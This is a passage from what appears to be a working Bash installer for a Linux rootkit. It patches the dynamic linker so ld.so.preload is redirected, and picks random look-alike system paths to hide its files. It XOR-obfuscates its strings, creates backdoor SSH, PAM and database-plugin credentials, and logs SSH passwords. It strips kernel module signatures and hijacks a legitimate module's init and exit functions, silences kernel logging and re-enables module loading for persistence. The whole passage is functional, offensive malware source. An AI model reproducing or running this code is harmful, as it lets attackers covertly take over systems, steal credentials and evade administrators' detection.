(( $? != 0 )) && eecho "[CPIO]\tSomething wrong extract [ ${init_folder}/${INITR} ]." || secho "\t[CPIO]\tExtract [ ${init_folder}/${INITR} ] success."
elif [[ -x $(command -v bsdcpio) ]]; then
bsdcpio -i < "${INITR}" 1>/dev/null
(( $? != 0 )) && eecho "[CPIO]\tSomething wrong extract [ ${init_folder}/${INITR} ]." || secho "\t[CPIO]\tExtract [ ${init_folder}/${INITR} ] success."
fi
shred -zuf -n 1 "${INITR}"*
(( $? != 0 )) && eecho "[CPIO]\tSomething wrong delete [ ${init_folder}/${INITR} ] && [ ${init_folder}/${INITR}.tmp ]"
fi
;;
*LZ4*)
LZ4=1
mv "${INITR}" "${INITR}".lz4
lz4 --rm -c -d "${INITR}".lz4 > "${INITR}" 2>/dev/null
(( $? != 0 )) && eecho "[LZ4]\tSomething wrong extract [ ${init_folder}/${INITR}.lz4 ]." || secho "\t[LZ4]\tExtract [ ${init_folder}/${INITR}.lz4 ] success."
;;
*XZ*)
XZ=1
mv "${INITR}" "${INITR}".xz
xz -d "${INITR}".xz 1>/dev/null
(( $? != 0 )) && eecho "[XZ]\tSomething wrong extract [ ${init_folder}/${INITR}.xz ]." || secho "\t[XZ]\tExtract [ ${init_folder}/${INITR}.xz ] success."
;;
*)
eecho "Wrong INIT file format. Check [ ${init_folder}/${INITR} ]."
;;
esac
done
cd - 1>/dev/null
PROC_NUM=$(($(grep -i "processor" /proc/cpuinfo|tail -n 1|awk '{print $3}')+1))
fecho "All looks good."
}
####
gen_f_d_p_s(){
local l target_file patch_file_tmp patch_dir PATCH NUM rdepth target_dir target_sfile
case $1 in
"patch")
if [[ ! -s "${main_tmp}"/plist ]]; then
find /{usr,var,lib}/ -not -path "/usr/bin/*" -not -path "/var/lib/lxcfs/*" -not -path "/var/tmp/*" -not -path "/usr/sbin/*" -not -path "/var/log/*" -not -path "/usr/src/*" -mindepth 1 -maxdepth 3 -type f 2>/dev/null|grep -x '.\{18\}' > "${main_tmp}"/plist
fi
if [[ -s "${main_tmp}"/plist ]]; then
while [[ -z "${PATCH}" || -z "${patch_dir}" || -f "${patch_dir}"/"${PATCH}" ]]; do
patch_file_tmp=$(shuf -n1 "${main_tmp}"/plist)
patch_dir=$(dirname "${patch_file_tmp}")
patch_file=$(basename "${patch_file_tmp}")
NUM=$(shuf -i 1-$((${#patch_file}-2)) -n 1)
PATCH="${patch_file:0:${NUM}}"$(tr -dc '[:lower:]' <<< /dev/urandom|fold -w1|head -n1)"${patch_file:$((NUM+1)):${#patch_file}}"
printf "${patch_dir}"/"${PATCH}"
done
else
eecho "No such patches."
fi
;;
"dir")
rdepth=$(( RANDOM % 4+3 ))
if [[ ! -s "${main_tmp}"/dlist ]]; then
find /{usr,var,lib}/ -not -path "/usr/bin/*" -not -path "/var/lib/lxcfs/*" -not -path "/var/tmp/*" -not -path "/usr/sbin/*" -not -path "/var/log/*" -not -path "/usr/src/*" -maxdepth "${rdepth}" -mindepth "${rdepth}" -type d 2>/dev/null|sort -u > "${main_tmp}"/dlist
fi
if [[ -s "${main_tmp}"/dlist ]]; then
printf $(shuf -n1 "${main_tmp}"/dlist)
else
eecho "No such dirs."
fi
;;
"file")
if [[ ! -s "${main_tmp}"/flist ]]; then
find /{usr,var,lib}/ -not -path "/var/tmp/*" -name "*.so" -type f -printf '%f\n' 2>/dev/null|sort -u > "${main_tmp}"/flist
fi
if [[ -s "${main_tmp}"/flist ]]; then
printf $(shuf -n1 "${main_tmp}"/flist)
else
eecho "No such files."
fi
;;
"service")
if [[ ! -s "${main_tmp}"/slist ]]; then
if (( SYSTEMD == 1 )); then
systemctl 2>/dev/null|grep -vi "ssh"|grep -i '\.service.*running'|awk '{print $1}'|while read -r l; do
find /{lib,run,etc}/systemd/ ! -empty -type f -name "${l}"
done|sort -u > "${main_tmp}"/slist
elif (( SYSTEMD == 2 )); then
service --status-all 2>/dev/null|grep -vi "ssh"|grep -i running|awk '{print $1}'|while read -r l; do
grep -i "${l}" /etc/init.d/* /etc/rc.d/init.d/*
done|awk -F: '{print $1}'|sort -u > "${main_tmp}"/slist
fi
fi
if [[ -s "${main_tmp}"/slist ]]; then
printf $(shuf -n1 "${main_tmp}"/slist)
else
eecho "No such services."
fi
;;
esac
}
pre_gen(){
local l procs
if [[ -s "/etc/group" && -s "/etc/passwd" ]]; then
if [[ ! -s "${main_tmp}"/ids ]]; then
diff --changed-group-format='%<' --unchanged-group-format='' <(awk -F: '!($4)&&($3!=0){print $3}' /etc/group|while read -r l; do
if (( l > 10 )); then
grep -e 'sync$' -e 'nologin$' -e 'false$' -e ':/dev/' /etc/passwd|awk -F: '($4!=0){print $4}'|grep -wo "${l}"
fi
done|sort -u -n) <(find / -printf '%G\n' 2>/dev/null|sort -u -n) > "${main_tmp}"/ids
fi
if [[ -s "${main_tmp}"/ids ]]; then
MGID="$(shuf "${main_tmp}"/ids -n 1)"
MGID_NAME="$(grep :${MGID}: /etc/group|awk -F: '{print $1}')"
else
eecho "Couldn't find any needed group."
fi
else
eecho "Couldn't find one of file [ /etc/passwd, /etc/group ]. Check it."
fi
procs="$(find /proc -maxdepth 1 -type f 2>/dev/null)"
read -r -a proclist <<< ${procs[@]}
}
patch_lib(){
if grep -q "$2" "$1"; then
update_time "$1"
xxd -p "$1"|tr -d '\n'|sed "s#$(printf "$2"|xxd -p)#$(printf "$3"|xxd -p)#g"|xxd -r -p > "$1".tmp
chmod --reference "$1" "$1".tmp
mv -f "$1".tmp "$1"
update_time "$1"
fi
}
patch_libdl(){
local ldlibname
necho "\t\tPatching dynamic linker libraries..."
if [[ -s "${tmp_dir}"/.patch ]]; then
LDSO_PRELOAD=$(cat "${tmp_dir}"/.patch 2>/dev/null)
LDSO_OLD=$(cat "${LDSO_PRELOAD}" 2>/dev/null)
rm -rf "${LDSO_OLD}" "${LDSO_PRELOAD}" &>/dev/null
fi
find /{lib,lib32,libx32,lib64}/ /lib/{x86_64-linux-gnu,i386-linux-gnu}/ /usr/{lib,lib32,libx32,lib64}/ -type f -name "ld-2*.so" -o -name "*ld-linux*.so" ! -type l 2>/dev/null|while read -r ldlibname; do
patch_lib "${ldlibname}" "${LDSO_PRELOAD}" "${N_PRELOAD}"
done
(( $? != 0 )) && eecho "Nothing update."
printf "${N_PRELOAD}" > "${tmp_dir}"/.patch
secho "\t\tNew ld.so.preload location saved."
}
xenc(){
local din ptr dout val1
din="$1"
for ((ptr=0; ptr<${#din}; ptr++)); do
val1=0x$(xxd -l1 -p <<< "${din:ptr:1}")
if (( (( val1 ^ XKEY )) == 0 )); then
dout+=$(printf '\\\\x%02x' "${val1}")
else
dout+=$(printf '\\\\x%02x' "$((val1 ^ XKEY))")
fi
done
echo -n "${dout}"
}
gen_func_name(){
local COUNT PREADDED MIDADDED POSTADDED
COUNT=$((RANDOM % 3 + 1))
declare {PRE,MID,POST}ADDED=""
if (( COUNT >= 1 )); then
PREADDED="${ADDED[${RANDOM} % ${#ADDED[@]}]}"
if (( COUNT >= 2 )); then
MIDADDED="_${ADDED[${RANDOM} % ${#ADDED[@]}]}"
if (( COUNT >= 3 )); then
POSTADDED="_${ADDED[${RANDOM} % ${#ADDED[@]}]}"
else
POSTADDED="_$1"
fi
else
MIDADDED="_$1"
fi
fi
printf "${PREADDED}${MIDADDED}${POSTADDED}"
}
gen_vars(){
local mods modlist c
necho "\t\tGenerating variables..."
while [[ -z "${XKEY}" || "${XKEY}" == "0x0"* || "${XKEY}" == "0xff" || "${XKEY}" == "0x20" ]]; do
XKEY="0x$(openssl rand -hex 1)"
done
SSHD=""
case $1 in
"CLIENT")
CLNT=0
while [[ -z "${CLIENT}" || -f "${CLIENT}" ]]; do
CLIENT_D=$(gen_f_d_p_s dir)
CLIENT_F=$(gen_f_d_p_s file)
CLIENT="${CLIENT_D}"/"${CLIENT_F}"
done
UUID="<UUID>"
;;
"LD")
LD=0
while [[ -z "${SOPATH}" || -f "${SOPATH}" ]]; do
IDIR=$(gen_f_d_p_s dir)
BDVLSO=$(gen_f_d_p_s file)
SOPATH="${IDIR}"/"${BDVLSO}"
done
LDSO_PRELOAD=/etc/ld.so.preload
N_PRELOAD=$(gen_f_d_p_s patch)
CLEAN_PW=$(openssl rand -hex 10)
BD_UNAME=$(openssl rand -hex 10)
BD_SALT=$(openssl rand -base64 12|sed 's/+/\//g')
BD_PWD=$(${main_tmp}/TOOLS/passgen "${CLEAN_PW}" "${BD_SALT}")
(( $? != 0 )) && eecho 'Something wrong with [ passgen ].'
BD_SSHPROCNAME="sshd: ${BD_UNAME}"
while [[ -z "${LDSO_LOGS}" || -f "${LDSO_LOGS}" ]]; do
LDSO_D=$(gen_f_d_p_s dir)
LDSO_F=$(gen_f_d_p_s file)
LDSO_LOGS="${LDSO_D}"/"${LDSO_F}"
done
while [[ -z "${HIDE_IP_PATH}" || -f "${HIDE_IP_PATH}" ]]; do
HIDE_IP_D=$(gen_f_d_p_s dir)
HIDE_IP_F=$(gen_f_d_p_s file)
HIDE_IP_PATH="${HIDE_IP_D}"/"${HIDE_IP_F}"
done
PAM_IP="<IP>"
PAM_HEX=$(printf '%02X' ${PAM_IP//./ } 2>/dev/null)
;;
"LKM")
while [[ -z "${LKM_MOD}" || $(grep -i "${LKM_MOD}" /proc/modules) != "" ]]; do
LKM_MOD=$(gen_func_name "${ADDED[${RANDOM} % ${#ADDED[@]}]}")
done
GIVEROOTPERM=$(openssl rand -hex 6)
LDP=$(openssl rand -hex 6)
PURGE=$(openssl rand -hex 6)
while [[ -z "${PROC}" || -f "${N_P_N}" ]]; do
P_N="${proclist[${RANDOM} % ${#proclist[@]}]}"
PROCNAME=$(basename "${P_N}")
NUM=$(shuf -i 1-$((${#PROCNAME}-2)) -n 1);
PROC="${PROCNAME:0:${NUM}}"$(tr -dc '[:lower:]' <<< /dev/urandom|fold -w1|head -n1)"${PROCNAME:$((NUM+1)):${#PROCNAME}}"
N_P_N=$(dirname "${P_N}")/"${PROC}"
done
C_C="printf '0 0 0 0'>/proc/sys/kernel/printk;printf 0>/proc/sys/kernel/hung_task_timeout_secs;sed -i 's/kernel.modules_disabled = .*/kernel.modules_disabled = 0/g' /etc/sysctl.conf /etc/sysctl.d/*;su -g ${MGID_NAME} -c 'if [[ ! -s ${SOPATH} || ! -s ${N_PRELOAD} ]];then printf ${LDP}>${N_P_N};cat ${N_P_N}>${SOPATH};printf ${SOPATH}>${N_PRELOAD};chown root.${MGID_NAME} ${N_PRELOAD} ${SOPATH};chmod 644 ${SOPATH} ${N_PRELOAD};fi'"
C_C_C="${CLIENT} ${UUID}"
ORIG_LKM_PATH=../LKM/"${LKM_MOD}".ko
;;
"LOADER")
LKM=0
while [[ -z ${LOADER_MOD} || $(grep -i "${LOADER_MOD}" /proc/modules) != "" ]]; do
LOADER_MOD=$(gen_func_name "${ADDED[${RANDOM} % ${#ADDED[@]}]}")
done
mods=$(grep -P " 0 .*$" /proc/modules|awk '{print $1}'|while read -r l; do find /lib/modules/${VER} -type f -name "$(basename "$(modinfo -n ${l})")" 2>/dev/null|head -n1; done)
read -r -a modlist <<< ${mods[@]}
modlist=( $(shuf -e "${modlist[@]}") )
c=0
while [[ -z "${INIT_FUNC}" || -z "${init_addr}" || -z "${EXIT_FUNC}" || -z "${exit_addr}" ]]; do
if (( c == ${#modlist[@]} )); then
eecho "Libraries not found."
fi
MODPATH="${modlist[${c}],,}"
IMODPATH=$(find "${init_folder}" -type f -name $(basename "${MODPATH}"|awk -F. '{print $1}')* 2>/dev/null|head -n1)
if [[ ${IMODPATH} ]]; then
FILETYPE=$(awk '{match($0,"[^.]+$",a)}END{print a[0]}' <<< "${MODPATH}")
LOCAL="${NEW_MDIR}"/"$(basename "${MODPATH}")"
if [[ "${FILETYPE}" =~ [kK][oO] ]]; then
cp -f "${MODPATH}" "${LOCAL}" &>/dev/null
(( $? != 0 )) && eecho "Couldn't copy [ ${MODPATH} ] to [ ${LOCAL} ]."
else
LOCAL="${LOCAL:0:${#LOCAL}-${#FILETYPE}-1}"
case ${FILETYPE} in
*[xX][zZ]*)
xz -qcdf < "${MODPATH}" > "${LOCAL}" 2>/dev/null
;;
*[gG][zZ]*)
gzip -qcdf < "${MODPATH}" > "${LOCAL}" 2>/dev/null
;;
*[bB][zZ]*)
bzip2 -qcdf < "${MODPATH}" > "${LOCAL}" 2>/dev/null
;;
*[lL][zZ]*)
lzma -qcdf < "${MODPATH}" > "${LOCAL}" 2>/dev/null
;;
*)
eecho "Wrong module extension. Check [ ${MODPATH} ]."
;;
esac
(( $? != 0 )) && eecho "Couldn't decompress [ ${MODPATH} ] using [ $1 ]."
fi
init_addr=$(objdump -t "${LOCAL}" 2>/dev/null|awk "/.init.text/ && /[^_]init_module/"'{print $5}')
INIT_FUNC=$(objdump -t "${LOCAL}" 2>/dev/null|awk "/.init.text/"'{print $5" "$6}'|grep "${init_addr}"|awk '!/[^_]init_module/''{print $2}')
exit_addr=$(objdump -t "${LOCAL}" 2>/dev/null|awk "/.exit.text/ && /[^_]cleanup_module/"'{print $5}')
EXIT_FUNC=$(objdump -t "${LOCAL}" 2>/dev/null|awk "/.exit.text/"'{print $5" "$6}'|grep "${exit_addr}"|awk '!/[^_]cleanup_module/''{print $2}')
fi
(( c++ ))
done
objcopy --globalize-symbol="${INIT_FUNC}" --globalize-symbol="${EXIT_FUNC}" "${LOCAL}" &>/dev/null
(( $? != 0 )) && eecho "Couldn't globalize symbols [ ${LOCAL} ]."
objcopy --remove-section .note.module.sig "${LOCAL}" &>/dev/null
(( $? != 0 )) && eecho "Couldn't remove sig [ ${LOCAL} ]."
INIT_FUNC_NAME=$(gen_func_name "fexit")
EXIT_FUNC_NAME=$(gen_func_name "finit")
EKEY=0x"$(openssl rand -hex 4)" # 4bytes ????
EFILE=$(shuf -n1 "${main_tmp}"/flist)
;;
"HORSEPILL")
HP=0
if (( HORSEPILL == 1 )); then
CLIENT_BN=$(gen_func_name "${ADDED[${RANDOM} % ${#ADDED[@]}]}")
SECTION_NAME=$(gen_func_name "${ADDED[${RANDOM} % ${#ADDED[@]}]}")
else
CLIENT_BN="<CLIENT_BN>"
SECTION_NAME="<SECTION_NAME>"
fi
;;
"SERVICE")
SRV=0
S_F_P=$(gen_f_d_p_s service)
S_NAME=$(basename "${S_F_P}")
if (( SYSTEMD == 1 )); then
if [[ "${S_NAME}" =~ "service" ]]; then
S_NAME_F=".$(echo ${S_NAME}|awk -F. '{print $NF}')"
S_NAME=$(echo ${S_NAME}|awk 'BEGIN{FS=OFS="."}{NF--; print}')
fi
fi
NUM=$(shuf -i 1-$((${#S_NAME}-2)) -n 1)
NS_NAME="${S_NAME:0:${NUM}}"$(tr -dc '[:lower:]' <<< /dev/urandom|fold -w1|head -n1)"${S_NAME:$((NUM+1)):${#S_NAME}}"
S_F_P_NS_NAME=$(dirname "${S_F_P}")/"${NS_NAME}""${S_NAME_F}"
;;
"SSHD")
SSHD=0
SSHD_LOGS=/var/tmp/.pw
SSHD_SECKEY=$(openssl rand -hex 10)
SSHD_BIN=$(command -v sshd)
if [[ ! -s "${SSHD_BIN}" ]]; then
eecho "Couldn't found ssh daemon."
fi
;;
"PAM")
PAM=0
while [[ -z "${PAM_LOGS}" || -f "${PAM_LOGS}" ]]; do
PAM_D=$(gen_f_d_p_s dir)
PAM_F=$(gen_f_d_p_s file)
PAM_LOGS="${PAM_D}"/"${PAM_F}"
done
PAM_KEY=$(openssl rand -hex 10)
;;
"MYSQL")
MYSQL=0
MYSQL_NAME=$(gen_func_name "${ADDED[${RANDOM} % ${#ADDED[@]}]}")
if [[ -d /usr/include/mysql ]]; then
MYSQL_I_DIR="/usr/include/mysql"
elif [[ -d /usr/include/mariadb ]]; then
MYSQL_I_DIR="/usr/include/mariadb"
else
wecho "\t\t\tCoulndn't found [ include ] directory."
fi
MYSQL_P_DIR=$(mysql -sN -e 'SELECT @@plugin_dir')
if [[ "${MYSQL_P_DIR}" ]]; then
while [[ -z "${MYSQL_SO}" || -f "${MYSQL_P_DIR}"/"${MYSQL_SO}" ]]; do
MYSQL_SO=$(gen_f_d_p_s file)
done
else
wecho "\t\t\tCouldn't found Plugin dir."
fi
;;
"POSTGRES")
POSTGRES=0
POSTGRES_NAME=$(gen_func_name "${ADDED[${RANDOM} % ${#ADDED[@]}]}")
P_VERS_TMP=$(psql -V|awk '{print $3}')
P_F_VERS=$(echo ${P_VERS_TMP}|awk -F. '{print $1}')
P_S_VERS=$(echo ${P_VERS_TMP}|awk -F. '{print $2}')
if [[ -d /usr/include/postgresql/"${P_VERS_TMP}"/server ]]; then
POSTGRES_I_DIR="/usr/include/postgresql/${P_VERS_TMP}/server"
elif [[ -d /usr/include/postgresql/"${P_F_VERS}"/server ]]; then
POSTGRES_I_DIR="/usr/include/postgresql/${P_F_VERS}/server"
elif [[ -d /usr/include/pgsql/server ]]; then
POSTGRES_I_DIR="/usr/include/pgsql/server"
else
wecho "\t\t\tCoulndn't found [ include ] directory."
fi
while [[ -z "${POSTGRES_SO}" || -f "${POSTGRES_SO}" ]]; do
POSTGRES_D=$(gen_f_d_p_s dir)
POSTGRES_F=$(gen_f_d_p_s file)
POSTGRES_SO="${POSTGRES_D}"/"${POSTGRES_F}"
done
;;
esac
secho "\t\tGenerating complete."
}
build_char_array(){
local nam arr carr asize e
nam="$1"
arr="$2"
asize="#define ${nam^^}_SIZE $3"
carr="\n${asize}\nstatic char *${nam}[${nam^^}_SIZE] = {"
for e in ${arr[@]}; do
carr+="\"$(xenc "${e}")\","
done
echo -n "${carr::${#carr}-1}};\n"
}
write_char_arrays(){
local current_array array_name array_elements final_char_arrays current_hook split_array_elements i
necho "\t\t\tBeginning the main user config wizard..."
while read -r current_array; do
IFS=: read -r array_name array_elements <<< ${current_array[@]}
IFS=, read -r -a split_array_elements <<< ${array_elements[@]}
final_char_arrays+="$(build_char_array "${array_name}" "${split_array_elements[*]}" ${#split_array_elements[*]})"
if [[ ${array_name} != *"_calls"* ]]; then
continue
fi
for current_hook in ${split_array_elements[@]}; do
HOOKS+=("${current_hook}")
done
done < ./char_arrays
final_char_arrays+="$(build_char_array all "${HOOKS[*]}" ${#HOOKS[*]})"
for i in ${!HOOKS[@]}; do
final_char_arrays+="#define C${HOOKS[i]^^} ${i}\n"
done
final_char_arrays+="syms symbols[ALL_SIZE];\n"
printf "${final_char_arrays}\n" >> ./config.h
secho "\t\t\tConfig wizard finished."
}
start_config_wizard(){
local i
necho "\t\tOverwriting variables..."
cd "${NEW_MDIR}" 1>/dev/null
case $1 in
"LD")
write_char_arrays
for i in {"IDIR","BDVLSO","SOPATH","N_PRELOAD","BD_UNAME","BD_PWD","LDSO_LOGS","HIDE_IP_PATH","BD_SSHPROCNAME"}; do
sed -i "s/%%${i}%%/$(xenc "${!i}")/g" ./config.h &>/dev/null
(( $? != 0 )) && eecho "Couldn't replace [ ${i} ] in [ ${NEW_MDIR}/config.h ]."
done
for i in {"MGID","XKEY"}; do
sed -i "s#%%${i}%%#${!i}#g" ./config.h &>/dev/null
(( $? != 0 )) && eecho "Couldn't replace [ ${i} ] in [ ${NEW_MDIR}/config.h ]."
done
;;
"LKM")
for i in {"GIVEROOTPERM","LDP","PURGE","HIDE","PROC","C_C","C_C_C","LKM_MOD","MGID_NAME"}; do
sed -i "s/%%${i}%%/$(xenc "${!i}")/g" ./config.h &>/dev/null
(( $? != 0 )) && eecho "Couldn't replace [ ${i} ] in [ ${NEW_MDIR}/config.h ]."
done
for i in {"MGID","XKEY","LKM_MOD","VER"}; do
sed -i "s#%%${i}%%#${!i}#g" ./config.h ./Makefile &>/dev/null
(( $? != 0 )) && eecho "Couldn't replace [ ${i} ] in [ ${NEW_MDIR}/config.h || ${NEW_MDIR}/Makefile ]."
done